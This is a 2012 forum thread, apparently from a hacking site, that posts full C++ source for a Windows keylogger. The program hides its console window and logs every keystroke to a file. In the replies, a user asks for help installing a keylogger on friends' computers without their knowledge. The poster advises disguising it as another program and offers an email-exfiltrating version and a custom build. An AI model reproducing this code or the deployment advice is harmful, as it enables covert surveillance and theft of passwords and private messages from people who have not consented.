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+--- Thread: How to make a keylogger in c++ (/Thread-How-to-make-a-keylogger-in-c)
How to make a keylogger in c++ - darkv0id - 10-13-2012
This make code makes a simple keylogger in c++
#include<iostream.h>
#include<windows.h>
using namespace std;
#include<winuser.h>
int Save (int key_stroke, char *file);
void Stealth();//stealth method allocates cmd window and hides it
int main()
{
Stealth();
char i;
while (1)//basically meaning, runs until stop.
{
for(i = 8; i <= 190; i++)//checks each key
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"log.txt");//saves each pressed key to log.txt
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
//sends each keystroke to file
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
RE: How to make a keylogger in c++ - princeshama - 10-14-2012
good work but you can use this keylogger only on your own computer
RE: How to make a keylogger in c++ - darkv0id - 10-14-2012
It only works on windows and you have to check the file yourself, yes. I will upload one that sends the file to an email if I get enough requests.
RE: How to make a keylogger in c++ - 181319 - 10-14-2012
Hi
I was hoping someone would help me with getting in hands of a keylogger program that i can remote install to some friends. Any help would be apreciated.
RE: How to make a keylogger in c++ - darkv0id - 10-14-2012
Remote install? They would still need to download it somehow. Do you mean without them knowing?
RE: How to make a keylogger in c++ - 181319 - 10-14-2012
Yes i mean so they do not know it, but i can't seem to find a program that can be used on windows 7
i am kind of desperate so if you could help i would reward you with something ^^
RE: How to make a keylogger in c++ - darkv0id - 10-14-2012
They would have to download it somehow... Basically your asking for a program that automatically hacks and downloads itself into the target computer. That, is impossible. You can however disguise it as another program so they download it.
RE: How to make a keylogger in c++ - 181319 - 10-14-2012
Thats what i mean and that i am looking for, however i can't get ardamax to function and i dont wanna buy it first.
RE: How to make a keylogger in c++ - darkv0id - 10-14-2012
Okay, I could make it with a member of my team. But it would take a lot of time and work.